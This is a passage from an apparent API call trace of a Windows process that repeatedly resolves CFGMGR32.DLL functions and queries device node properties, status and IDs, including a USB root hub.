lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.773] malloc (_Size=0x18) returned 0x20abc281fa0 [0193.773] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xc, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0193.774] malloc (_Size=0x48) returned 0x20abc2a8230 [0193.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2f435da7, dwHighDateTime=0x1d9eb0c)) [0193.774] SetEvent (hEvent=0x248) returned 1 [0193.882] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.882] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.886] malloc (_Size=0x18) returned 0x20abc281e80 [0193.886] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0193.886] malloc (_Size=0x48) returned 0x20abc2a83c0 [0193.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f540e0f, dwHighDateTime=0x1d9eb0c)) [0193.886] SetEvent (hEvent=0x248) returned 1 [0193.891] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.891] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.897] malloc (_Size=0x18) returned 0x20abc282000 [0193.897] CM_Get_Device_IDA (in: dnDevInst=0xd, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&13A29EA8&0") returned 0x0 [0193.897] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2f567578, dwHighDateTime=0x1d9eb0c)) [0193.898] SetEvent (hEvent=0x248) returned 1 [0193.901] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.901] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.904] malloc (_Size=0x18) returned 0x20abc282080 [0193.905] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0193.905] malloc (_Size=0xac) returned 0x20abc286890 [0193.905] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0193.906] free (_Block=0x20abc286890) [0193.906] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f567578, dwHighDateTime=0x1d9eb0c)) [0193.906] SetEvent (hEvent=0x248) returned 1 [0193.940] malloc (_Size=0x18) returned 0x20abc281e60 [0193.940] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0193.940] free (_Block=0x20abc281e60) [0193.940] malloc (_Size=0x18) returned 0x20abc281d20 [0193.940] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba67fb8) returned 0x0 [0193.940] free (_Block=0x20abc281d20) [0193.940] malloc (_Size=0x18) returned 0x20abc2820c0 [0193.940] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc4742b8) returned 0x0 [0193.940] free (_Block=0x20abc2820c0) [0193.940] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0193.940] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0193.940] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0193.940] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0193.940] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0193.940] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0193.941] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0193.941] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0193.941] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0193.941] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.941] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.942] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0193.943] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0193.943] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.943] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.947] malloc (_Size=0x18) returned 0x20abc281d80 [0193.947] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0193.947] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f5dab59, dwHighDateTime=0x1d9eb0c)) [0193.947] SetEvent (hEvent=0x248) returned 1 [0193.951] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.951] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.954] malloc (_Size=0x18) returned 0x20abc281d40 [0193.954] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.043] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f6be45b, dwHighDateTime=0x1d9eb0c)) [0194.043] SetEvent (hEvent=0x248) returned 1 [0194.045] SetEvent (hEvent=0x248) returned 1 [0194.046] free (_Block=0x20abc27cf80) [0194.046] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.046] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f6be45b, dwHighDateTime=0x1d9eb0c)) [0194.046] SetEvent (hEvent=0x248) returned 1 [0194.048] SetEvent (hEvent=0x248) returned 1 [0194.048] free (_Block=0x20abc27cf80) [0194.049] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.049] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f6e475e, dwHighDateTime=0x1d9eb0c)) [0194.050] SetEvent (hEvent=0x248) returned 1 [0194.051] SetEvent (hEvent=0x248) returned 1 [0194.051] free (_Block=0x20abc27cf80) [0194.051] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.052] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f6e475e, dwHighDateTime=0x1d9eb0c)) [0194.052] SetEvent (hEvent=0x248) returned 1 [0194.055] SetEvent (hEvent=0x248) returned 1 [0194.056] free (_Block=0x20abc27cf80) [0194.056] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.058] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f6e475e, dwHighDateTime=0x1d9eb0c)) [0194.059] SetEvent (hEvent=0x248) returned 1 [0194.060] SetEvent (hEvent=0x248) returned 1 [0194.060] free (_Block=0x20abc27cf80) [0194.060] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xd, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0194.061] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2f6e475e, dwHighDateTime=0x1d9eb0c)) [0194.061] SetEvent (hEvent=0x248) returned 1 [0194.072] SetEvent (hEvent=0x248) returned 1 [0194.073] free (_Block=0x20abc27cf80) [0194.074] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xd, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0194.074] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2f70a8fa, dwHighDateTime=0x1d9eb0c)) [0194.074] SetEvent (hEvent=0x248) returned 1 [0194.075] SetEvent (hEvent=0x248) returned 1 [0194.076] free (_Block=0x20abc27cf80) [0194.076] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0194.076] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f70a8fa, dwHighDateTime=0x1d9eb0c)) [0194.077] SetEvent (hEvent=0x248) returned 1 [0194.162] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.162] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.163] GetProcAddress (hModule=0x7ffb1ced0000, 